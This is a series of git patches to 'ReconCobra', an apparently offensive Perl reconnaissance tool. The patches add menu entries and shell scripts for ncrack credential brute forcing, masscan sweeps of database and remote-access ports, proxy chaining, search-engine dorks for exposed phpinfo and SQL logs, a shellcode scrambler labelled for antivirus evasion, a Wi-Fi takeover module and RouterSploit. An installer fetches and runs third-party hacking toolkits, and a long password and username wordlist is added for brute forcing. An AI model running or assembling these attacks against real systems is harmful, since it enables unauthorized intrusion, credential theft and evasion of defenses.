+ "au|mascan=s" => \$mascan, + "av|daisychain=s" => \$daisychain, + "aw|pdatabase=s" => \$pdatabase, + "ax|encrypt=s" => \$encrypt, + "ay|scrambler=s" =>\$scrambler, + "az|wifi=s" => \$wifi, + "aaa|pptp=s" => \$pptp, + "aab|router=s" => \$router, ); if ($help) { banner();help(); } @@ -198,6 +207,15 @@ if ($linkfinder) { banner();linkfinder(); } if ($geotagging) { banner();geotagging(); } if ($mireer) { banner();mireer(); } +if ($bruter) { banner();bruter(); } +if ($mascan) { banner();mascan(); } +if ($daisychain) { banner();daisychain(); } +if ($pdatabase) { banner();pdatabase(); } +if ($encrypt) { banner();encrypt(); } +if ($scrambler) { banner();scrambler(); } +if ($wifi) { banner();wifi(); } +if ($pptp) { banner();pptp(); } +if ($router) { banner();router(); } unless (@ARGV > 1) { banner();menu(); } @@ -646,6 +664,60 @@ sub help { print color("bold white"),"reconcobra -as site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('73'),"Brute Forcer Module "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -at site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('74'),"Juicy Port Scan using Mascan "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -au site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('75'),"Set Daisy Chain "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -av site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('76'),"Search PHPinfo and Database Log via Search Engines "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aw site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('77'),"File Encryption "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ax site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('78'),"Load Encryption Scrambling for Antivirus Evasion "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ay site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('79'),"Load Wi-Fi Takeover Module "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -az site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('80'),"Load PPTP Brute Force Module "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aaa site.com"; + print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('81'),"Load Routers/Load Balancer Interface "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -aab site.com"; + print color('bold cyan')," # \n",line_d(); + } #--------------------------------------------------------------# @@ -766,6 +838,15 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('73'),"Brute Forcer Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('74'),"Databases and Connections Port Scan using Mascan";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('75'),"Set Daisy Chain";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('76'),"Search PHPinfo and Database Log via Search Engines";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('77'),"Load Encrypt/Decrypt Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('78'),"Load Encryption Scrambling for Antivirus Evasion";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1116,7 +1197,7 @@ sub menu { print "\n"; Extractusersfromform(); enter(); - }if($number eq '40'){ + }if($number eq '40'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target IP ";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1143,7 +1224,7 @@ sub menu { print "\n"; Findvictimhttpsleakeddata(); enter(); - }if($number eq '43'){ + }if($number eq '43'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1170,7 +1251,7 @@ sub menu { print "\n"; Findallaccountsfromuser(); enter(); - }if($number eq '46'){ + }if($number eq '46'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1197,7 +1278,7 @@ sub menu { print "\n"; Dnshistory(); enter(); - }if($number eq '49'){ + }if($number eq '49'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1224,7 +1305,7 @@ sub menu { print "\n"; hostnametoip(); enter(); - }if($number eq '52'){ + }if($number eq '52'){ banner(); print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; @@ -1403,8 +1484,79 @@ sub menu { print "\n"; mireer(); enter(); - } - if($number eq '0'){ + }if($number eq '73'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + bruter(); + enter(); + }if($number eq '74'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mascan(); + enter(); + }if($number eq '75'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + daisychain(); + enter(); + }if($number eq '76'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + pdatabase(); + enter(); + }if($number eq '77'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + encrypt(); + enter(); + }if($number eq '78'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + scrambler(); + enter(); + }if($number eq '79'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + wifi(); + enter(); + }if($number eq '80'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mireer(); + enter(); + }if($number eq '81'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + router(); + enter(); + }if($number eq '0'){ exit; } else{ @@ -3294,7 +3446,7 @@ () #--------------------------------------------------------------# -#72 Mirror Complete Website # +#72 Mirror Complete Website # #--------------------------------------------------------------# sub mireer() { print item(),"Caution: Find mirror_websites inside mirror_website folder\n"; @@ -3308,6 +3460,137 @@ () } +#--------------------------------------------------------------# +#73 Brute Frocer Module # +#--------------------------------------------------------------# +sub bruter() { + if (system("/usr/share/ReconCobra/bruter.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make bruter.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#74 Juicy Port Scan using Mascan # +#--------------------------------------------------------------# +sub mascan() { + print "\n"; + print item(),"Result will be saved in mascanresults.txt\n\n"; + if (system("/usr/share/ReconCobra/mascan.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make mascan.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +#--------------------------------------------------------------# +#75 Set Daisy Chain # +#--------------------------------------------------------------# +sub daisychain() { + print "\n"; + print item(),"Caution \n"; + print item(),"Edit /etc/proxychains.conf and put these proxies after [Proxy List]\n"; + print item(),"Write as socks4 IP Port or http IP Port as per line\n"; + print item(),"Use proxychains before any software in terminal, example proxychains nmap, etc\n"; + print item(),"Proxy list will generate new proxy every 15 minutes\n\n"; + print item(),"Generating Proxy List\n"; + $url = "http://proxylist.fatezero.org/proxy.list"; + $request = $ua->get($url); + $response = $request->content; + + while($response =~m/(.*?)\n/g) + { + print item(),"$1 \n"; + sleep(1); + } +if ($response =~ /error/) { + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + + +#--------------------------------------------------------------# +#76 Search PHPinfo and Database Log via Search Engines # +#--------------------------------------------------------------# +sub pdatabase() { + print "\n"; + if (system("/usr/share/ReconCobra/useddatabasefiles.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make useddatabasefiles.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#77 File Encryption # +#--------------------------------------------------------------# +sub encrypt() { + print "\n"; + if (system("/usr/share/ReconCobra/ccrypt.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make ccrypt.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +#--------------------------------------------------------------# +#78 Load Encryption Scrambling for Antivirus Evasion # +#--------------------------------------------------------------# +sub scrambler() { + print "\n"; + print item(),"Hint: Type bypassing in Encrypt Shellcode\n"; + if (system("/usr/share/ReconCobra/scrambler.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make scrambler.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + +#--------------------------------------------------------------# +#79 Load Wi-Fi Takeover Module # +#--------------------------------------------------------------# +sub wifi() { + print "\n"; + if (system("/usr/share/ReconCobra/wifi-hacker.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make wifi-hacker.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#81 Load Routers/Load Balancer Interface # +#--------------------------------------------------------------# +sub router() { + print "\n"; + print item(),"Hint: https://null-byte.wonderhowto.com/how-to/seize-control-router-with-routersploit-0177774\n"; + if (system("/usr/share/ReconCobra/router.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make router.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + #--------------------------------------------------------------# # Enter # #--------------------------------------------------------------# @@ -3357,3 +3640,4 @@ sub line_d #--------------------------------------------------------------# # ~~The End~~ # #--------------------------------------------------------------# + diff --git a/Termux_Installer.sh b/Termux_Installer.sh index f1ea16d..fbb1007 100644 --- a/Termux_Installer.sh +++ b/Termux_Installer.sh @@ -35,6 +35,8 @@ apt-get install make apt-get install clang apt-get install unzip apt-get install tar +apt-get install -y ccrypt + echo -e "Installing Perl ..."; apt-get install -y perl echo -e "Installing JSON Module ..."; @@ -81,6 +83,10 @@ sh httrack cd .. echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/stormshadow07/HackTheWorld.git +cd HackTheWorld +chmod +x install.sh && ./install.sh +cd .. echo "y" | git clone https://github.com/chenjj/CORScanner.git cd CORScanner pip install -r requirements.txt @@ -97,6 +103,15 @@ cargo build cd .. echo "y" | https://github.com/haroonawanofficial/vasl.git echo "y" | apt-get install nmap +echo "y" | git clone https://github.com/stormshadow07/HackTheWorld.git +cd HackTheWorld +chmod +x install.sh && ./install.sh +cd .. +echo "y" | git clone https://github.com/threat9/routersploit +cd routersploit +sudo easy_install pip +sudo pip install -r requirements.txt +cd .. echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git pip install jsbeautifier @@ -118,4 +133,4 @@ chmod u+x *.sh echo -e "[+] Installed Success!"; echo -e "[+] Reboot Termux"; -echo -e "[+] Upon successful reboot enter for interface, perl ReconCobratermux.pl"; +echo -e "[+] Upon successful reboot enter for interface, perl ReconCobratermux.pl"; \ No newline at end of file diff --git a/bruter.sh b/bruter.sh new file mode 100644 index 0000000..1b39253 --- /dev/null +++ b/bruter.sh @@ -0,0 +1,12 @@ +#!/bin/bash +echo -e "" +echo -e "[+] Example: SSH/22, RDP/3389, FTP/21, Telnet/23, HTTP(S)/443, POP3(S)/110, IMAP/143" +echo -e " SMB/139, VNC/5900-5, SIP/5060-5065, Redis/6379, PostgreSQL/5432, MySQL/3306" +echo -e " MSSQL/1433, MongoDB/27017-19, Cassandra/7000-7001-9042-7199-8080, WinRM,/5986" +echo -e " OWA/80-443-4125-3389" +echo -e "" +read -p "[+] Enter Target User (root/administrator): " User +read -p "[+] Enter Target IP: " Target +read -p "[+] Enter Target Port: " Port +echo -ne "[+] Enter Target: " Target +ncrack -v --user $User $Target:$Port diff --git a/mascan.sh b/mascan.sh new file mode 100644 index 0000000..917b296 --- /dev/null +++ b/mascan.sh @@ -0,0 +1,3 @@ +#!/bin/bash +read -p "[+] Enter Target in IP/CIDR/Block: " Target +masscan -p21,22,3389,21,23,443,110,143,/139,5900-5,5060-5065,6379,5432,3306,1433,27017-19,7000,7001,9042,7199,8080,5986 --banners --open-only --rate 1000 --range $Target > mascanresults.txt \ No newline at end of file diff --git a/router.sh b/router.sh new file mode 100644 index 0000000..9b4ba5a --- /dev/null +++ b/router.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd routersploit +python3 rsf.py \ No newline at end of file diff --git a/scrambler.sh b/scrambler.sh new file mode 100644 index 0000000..5d6b8bc --- /dev/null +++ b/scrambler.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd HackTheWorld +python2 HackTheWorld.py \ No newline at end of file diff --git a/useddatabasefiles.sh b/useddatabasefiles.sh new file mode 100644 index 0000000..624dac9 --- /dev/null +++ b/useddatabasefiles.sh @@ -0,0 +1,15 @@ +#!/bin/bash +TARGET="$1" +BROWSER="xdg-open" +VER="1.9" +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +DELAY=1 +RESET='\e[0m' + +read -p "[+] Enter Target: " Target +# LOAD WEBSITE IN A WEB BROSER +$BROWSER "https://www.google.com/search?q=site:$Target+sql+%7C+phpinfo" 2> /dev/null + From df63d7b3d2e30cb21b315683ab2123f6bcfe8971 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 02:06:15 +0500 Subject: [PATCH 202/272] Add files via upload --- ReconCobra.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index a664669..096198e 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -846,7 +846,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('78'),"Load Encryption Scrambling for Antivirus Evasion";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('79'),"Load Wi-Fi Takeover Module";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('80'),"Load PPTP Brute Force Module ";print color('bold cyan')," # \n"; - print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('81'),"Load Routers/Load Balancer Interface ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); From 4da0f72c70daf72a764eff9f05e9cd774e9c4668 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 02:06:40 +0500 Subject: [PATCH 203/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 97647a9..ef8980c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ EULA # Linux OS Interface -- Software have 72 Options with full automation and powerful information gathering +- Software have 81 Options with full automation and powerful information gathering
From dd26aebdde7847487bcb4c3c0fae43f2af604e87 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 02:10:33 +0500 Subject: [PATCH 204/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ef8980c..e0e4036 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ EULA
- +
# In-Action From bc98b890acdb97f1b73d1c4e558d748db2b9559d Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 02:12:29 +0500 Subject: [PATCH 205/272] Update bruter.sh --- bruter.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/bruter.sh b/bruter.sh index 1b39253..3e1be02 100644 --- a/bruter.sh +++ b/bruter.sh @@ -8,5 +8,4 @@ echo -e "" read -p "[+] Enter Target User (root/administrator): " User read -p "[+] Enter Target IP: " Target read -p "[+] Enter Target Port: " Port -echo -ne "[+] Enter Target: " Target ncrack -v --user $User $Target:$Port From 408f24e08b3192e494a78cf8480b09958f191a02 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 19 Jul 2019 10:23:47 +0500 Subject: [PATCH 206/272] Add files via upload --- wordlist.txt | 12979 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 12979 insertions(+) create mode 100644 wordlist.txt diff --git a/wordlist.txt b/wordlist.txt new file mode 100644 index 0000000..33f8222 --- /dev/null +++ b/wordlist.txt @@ -0,0 +1,12979 @@ +access +admin +administrator +adrian +adrianna +aerobics +airplane +albany +albatross +albert +alex +alexander +algebra +alias +aliases +alice +alicia +alisa +alison +allison +alpha +alphabet +ama +amadeus +amanda +amber +amorphous +amy +analog +anchor +andrea +andromache +andy +angela +angerine +angie +animals +anita +ann +anna +anne +annette +answer +anthropogenic +anvils +anything +april +aria +ariadne +arlene +arrow +arthur +asd +asm +asshole +athena +atmosphere +aztecs +azure +bacchus +badass +bailey +banana +bananas +bandit +banks +barbara +barber +baritone +bart +bartman +basic +bass +bassoon +batch +batman +beach +beater +beauty +beaver +becky +beethoven +beloved +benz +beowulf +berkeley +berlin +berliner +beryl +beta +beth +betsie +betty +beverly +bicameral +bishop +bitch +bob +bradley +brandi +brandy +brenda +brian +bridget +broadway +bsd +bumbling +burgess +cad +camille +campanile +candi +candy +cantor +cardinal +caren +carla +carmen +carol +carole +carolina +caroline +carrie +carson +cascades +castle +cat +catherine +cathy +cayuga +cecily +celtics +cerulean +change +charity +charles +charming +charon +chat +chem +chemistry +chess +chester +christina +christine +christy +cigar +cindy +class +classic +claudia +cluster +clusters +code +coffee +coke +collins +commrades +computer +comrade +comrades +condo +condom +connect +connie +console +cookie +cooper +cornelius +couscous +create +creation +creosote +cretin +criminal +cristina +crystal +cshrc +cynthia +daemon +daisy +dana +dancer +daniel +danielle +danny +dapper +data +dave +dawn +deb +debbie +deborah +december +default +defoe +deluge +denise +desiree +desperate +develop +device +dial +diana +diane +diet +dieter +digital +disc +discovery +disk +disney +dog +dos +drought +dulce +duncan +eager +earth +easier +easy +eatme +edges +edinburgh +edwin +edwina +egghead +eiderdown +eileen +einstein +elaine +elanor +elephant +elizabeth +ellen +email +emerald +emily +emmanuel +enemy +engine +engineer +enterprise +enzyme +erenity +erica +erika +erin +ersatz +establish +estate +eternity +euclid +evelyn +extension +fairway +felicia +fender +fermat +ferrari +fidelity +field +file +finite +fishers +flakes +float +flower +flowers +foolproof +football +foresight +format +forsythe +fourier +fred +friend +frighten +fun +function +fungible +gabriel +games +gardner +garfield +gatt +gauss +george +gertrude +gibson +gina +ginger +glacier +gnu +golf +golfer +gorgeous +gorges +gosling +gouge +graham +grahm +group +gryphon +gucci +guess +guest +guitar +gumption +guntis +hack +hacker +hal +hamlet +handily +happening +harmony +harold +harvey +hawaii +heather +hebrides +heidi +heinlein +hello +help +herbert +hiawatha +hibernia +hidden +holly +homework +honey +horse +horus +hutchins +hydrogen +ibm +imbroglio +imperial +include +ingres +ingress +ingrid +inna +innocuous +internet +irene +irishman +isis +jackie +jane +janet +janice +janie +japan +jasmin +jean +jeanne +jen +jenni +jennifer +jenny +jessica +jester +jill +jixian +joanne +jody +johnny +joseph +joshua +joy +joyce +judith +judy +juggle +julia +julie +june +jupiter +karen +karie +karina +kate +kathleen +kathrine +kathy +katina +katrina +kelly +keri +kermit +kernel +kerri +kerrie +kerry +key +kim +kimberly +kirkland +kitten +knight +krista +kristen +kristi +kristie +kristin +kristine +kristy +ladle +lambda +lamination +lana +lara +larkin +larry +laura +lazarus +leah +lebesgue +lee +leland +leroy +leslie +lewis +library +light +linda +lisa +lisp +liz +lock +lockout +lois +lori +lorin +lorraine +louis +love +lucy +lynn +lynne +macintosh +mack +maggot +magic +mail +maint +malcolm +malcom +manager +mara +marci +marcy +maria +marietta +mark +markus +marni +mars +marty +marvin +mary +master +math +maurice +meagan +megan +melissa +mellon +memory +mercury +merlin +mets +mgr +michael +michele +michelle +mickey +mike +minimum +minsky +mit +modem +mogul +moguls +monica +moose +morley +mouse +mozart +mutant +nagel +nancy +napoleon +nasa +nepenthe +neptune +ness +net +network +new +news +newton +next +nicole +nita +nobody +noreen +noxious +nuclear +nutrition +nyquist +oceanography +ocelot +office +olivetti +olivia +open +operator +oracle +orca +orwell +osiris +outlaw +oxford +pacific +pad +painless +pakistan +pam +pamela +paper +papers +pass +password +pat +patricia +patty +paula +pencil +penelope +penguin +penis +peoria +percolate +persimmon +persona +pete +peter +philip +phoenix +phone +pierre +pizza +plane +playboy +plover +pluto +plymouth +polly +polynomial +pondering +pork +porsche +poster +power +praise +precious +prelude +presto +prince +princeton +priv +private +privs +professor +profile +program +protect +protozoa +pub +public +pumpkin +puneet +puppet +qwerty +rabbit +rachel +rachelle +rachmaninoff +rainbow +raindrop +raleigh +random +rascal +reagan +really +rebecca +regional +remote +renee +rick +ripple +risc +rje +robin +robot +robotics +robyn +rochelle +rochester +rodent +rolex +romano +ronald +root +rose +rosebud +rosemary +roses +ruben +rules +ruth +sal +samantha +sandra +sandy +sara +sarah +saturn +saxon +scamper +scheme +school +scott +scotty +secret +security +sensor +serenity +service +sesame +setup +sex +shannon +sharc +shark +sharks +sharon +sheffield +sheldon +shell +sherri +shirley +shit +shiva +shivers +shuttle +signature +simon +simple +simpsons +singer +single +smile +smiles +smooch +smother +snatch +snoopy +soap +socrates +somebody +sondra +sonia +sonya +sossina +sparrows +spit +spring +springer +squires +stacey +staci +stacie +stacy +steph +stephanie +strangle +stratford +student +stuttgart +subway +success +summer +sun +super +superstage +superuser +support +supported +surfer +susan +susanne +susie +suzanne +suzie +swearer +sybil +symmetry +sys +sysadmin +system +tamara +tami +tamie +tammy +tangerine +tape +tara +target +tarragon +taylor +tech +telephone +temptation +tennis +terminal +test +thailand +theresa +tiffany +tiger +tina +toggle +tomato +topography +tortoise +toxic +toyota +traci +tracie +tracy +trails +transfer +trisha +trivial +trombone +tty +tubas +tuttle +umesh +unhappy +unicorn +unix +unknown +uranus +urchin +ursula +util +utility +uucp +valerie +vasant +venus +veronica +vertigo +vicky +village +virgin +virginia +visitor +wargames +warren +water +weenie +wendi +wendy +whatever +whatnot +whiting +whitney +wholesale +will +william +williamsburg +willie +wilma +winston +wisconsin +wizard +wombat +woodwind +word +work +wormwood +wyoming +xfer +xmodem +xyz +xyzzy +yaco +yang +yellowstone +yolanda +yosemite +zap111 +zimmerman +zmodemroot +administrator +guest +info +security +support +abuse +admin +postmaster +lists +chris +webmaster +mike +steve +dave +mark +david +john +paul +peter +matt +jobs +joe +user +eric +mail +dan +brian +michael +sales +nanog +jeff +alex +scott +jason +bob +jim +adam +james +tim +nobody +majordomo +daniel +ben +me +nick +hostmaster +tom +snort +andy +andrew +greg +robert +martin +news +rob +linux +marc +bill +thomas +richard +noc +jon +careers +kevin +frank +ian +alan +contact +ryan +ken +secure +simon +anonymous +list +patrick +jeremy +sean +tony +todd +aaron +MAILER-DAEMON +stefan +sam +linux-kernel +jonathan +erik +orion +doug +spam +nessus +bugs +rick +josh +research +craig +username +phil +matthew +jay +help +pete +announce +ron +kernel +fred +max +ed +don +brad +rich +neil +nab +geoff +foo +email +justin +sec +marco +press +noreply +joey +helpdesk +nospam +incidents +sven +gary +brett +Security +nate +larry +adrian +test +tech +someone +kris +andreas +akpm +stephen +password +oliver +blaisorblade +roman +postfix +nathan +karl +jose +feedback +dev +bryan +bruce +sysadmin +qmailr +jamie +derek +brandon +steven +privacy +joel +jk +jan +anthony +stuart +roger +ray +pci +nelson +keith +george +editor +chuck +cfp +you +staff +pb +lee +jens +jack +christian +carl +advisory +will +vince +ross +mirapoint +markus +labs +isozone +guy +andre +vuln-dev +victim +service +office +marcus +devel +cset +cert +vuln +mingo +kyle +drew +dennis +dean +crispin +charles +Power +tglx +seth +resumes +org +kurt +jared +hugh +fernando +evil +dotslash +david-b +danny +carlos +LISTSERV +woody +willy +troy +shane +robin +ras +pavel +null +maillist +attacker +www-data +william +webappsec +usenet +shaun +roberto +randy +pentest +mailinglist +lars +lance +andi +6666 +xxxx +roy +mjr +lauren +jerry +ivan +devnull +apache +anton +Chris +4444 +theall +submit +skip +ralf +peering +nigel +michaels +letters +jmorris +graham +felix +discuss +darren +core +chad +blake +virus +ted +syslogd +sil +serge +perry +nico +marty +luke +joshua +jgarzik +jake +hacker +glenn +dirk +declan +chip +blah +David +wobblingmoon +wayne +users +submissions +serial +rusty +roland +pm +pat +mouse +mixter +michal +joerg +hannes +firewall-user +disclosure +daemon +bruno +bounces +anon +tyler +thor +shawn +shadow +risks +proberts +pierre +pgo +maxim +listserv +listbounce +leo +kim +kain +jr +jms +jlewis +jacob +infosec +holger +duncan +dick +brodo +barry +arjan +andrea +all +Steve +Mike +zen +woods +victor +net +mel +kent +joseph +igor +i +harry +geert +druid +dewayne +charlie +bofh +andrei +alerts +John +xxxxxx +venglin +stealth +stan +solar +rodney +raven +raj +nicolas +newsletter +mcr +leon +johnl +jeroen +jbarnes +hans +gjones +foobar +firewalls +dufresne +dom +denis +davej +dante +dana +colin +casey +boris +bart +alert +RH +Ken +wolfgang +werner +walter +vern +tommy +team +tbird +stany +smith +smb +sender +russell +russ +rostedt +johnson +rasmus +raptor +random +ralph +r00t +peterw +mroos +moeller +mitch +mikef +marcelo +link +jonas +jas +isn +hpa +hank +green +gene +funsec +erek +enquiries +edwin +drazvan +des +darrenr +customerservice +chrisw +christoph +bri +brent +bevicm +bet +aturner +appelast +antirez +anders +allan +alexander +abe +abc +wim +wichert +vlad +viro +target +super +stu +strange +smanzuik +sh +sergio +sebastian +ruben +rslade +rodrigob +rodrigo +rmurphy +rm +president +philip +pauls +pass +oleg +olaf +none +no +niels +nexus +name +mstone +morgan +mj +mikem +media +matthias +master +luciano +lenb +julian +jtk +johndoe +jimpop +jes +hobbit +grant +firewall +ethernet +dgolding +cypherpunks +cdowns +bmc +bernie +benjamin +ark +alexm +Majordomo +Linux +Jeff +# bellow follow some usernames from common.usr and minimal.usr and others +access +basic +adm +operator +debug +cisco +recovery +client +manager +customer +device +isp +login +tiger +public +system +sysadm +setup +web +tty +work +modem +davidc +johnc +davidm +davids +davel +tims +scotts +richardm +marks +# minimal list of very common usernames +root +admin +administrator +webadmin +sysadmin +netadmin +guest +user +web +test +adm +tech +recovery +operator +client +manager +customer +device +isp +cisco +super +anonymous +login +tiger +public +system +info +sysadm +setup +support +abuse +postmaster +12345 +abc123 +password +computer +123456 +tigger +1234 +a1b2c3 +qwerty +123 +xxx +money +test +carmen +mickey +secret +summer +internet +service + +canada +hello +ranger +shadow +baseball +donald +harley +hockey +letmein +maggie +mike +mustang +snoopy +buster +dragon +jordan +michael +michelle +mindy +patrick +123abc +andrew +bear +calvin +changeme +diamond +fuckme +fuckyou +matthew +miller +ou812 +tiger +trustno1 +12345678 +alex +apple +avalon +brandy +chelsea +coffee +dave +falcon +freedom +gandalf +golf +green +helpme +linda +magic +merlin +molson +newyork +soccer +thomas +wizard +Monday +asdfgh +bandit +batman +boris +butthead +dorothy +eeyore +fishing +football +george +happy +iloveyou +jennifer +jonathan +love +marina +master +missy +monday +monkey +natasha +ncc1701 +newpass +pamela +pepper +piglet +poohbear +pookie +rabbit +rachel +rocket +rose +smile +sparky +spring +steven +success +sunshine +thx1138 +victoria +whatever +zapata +1 +8675309 +Internet +amanda +andy +angel +august +barney +biteme +boomer 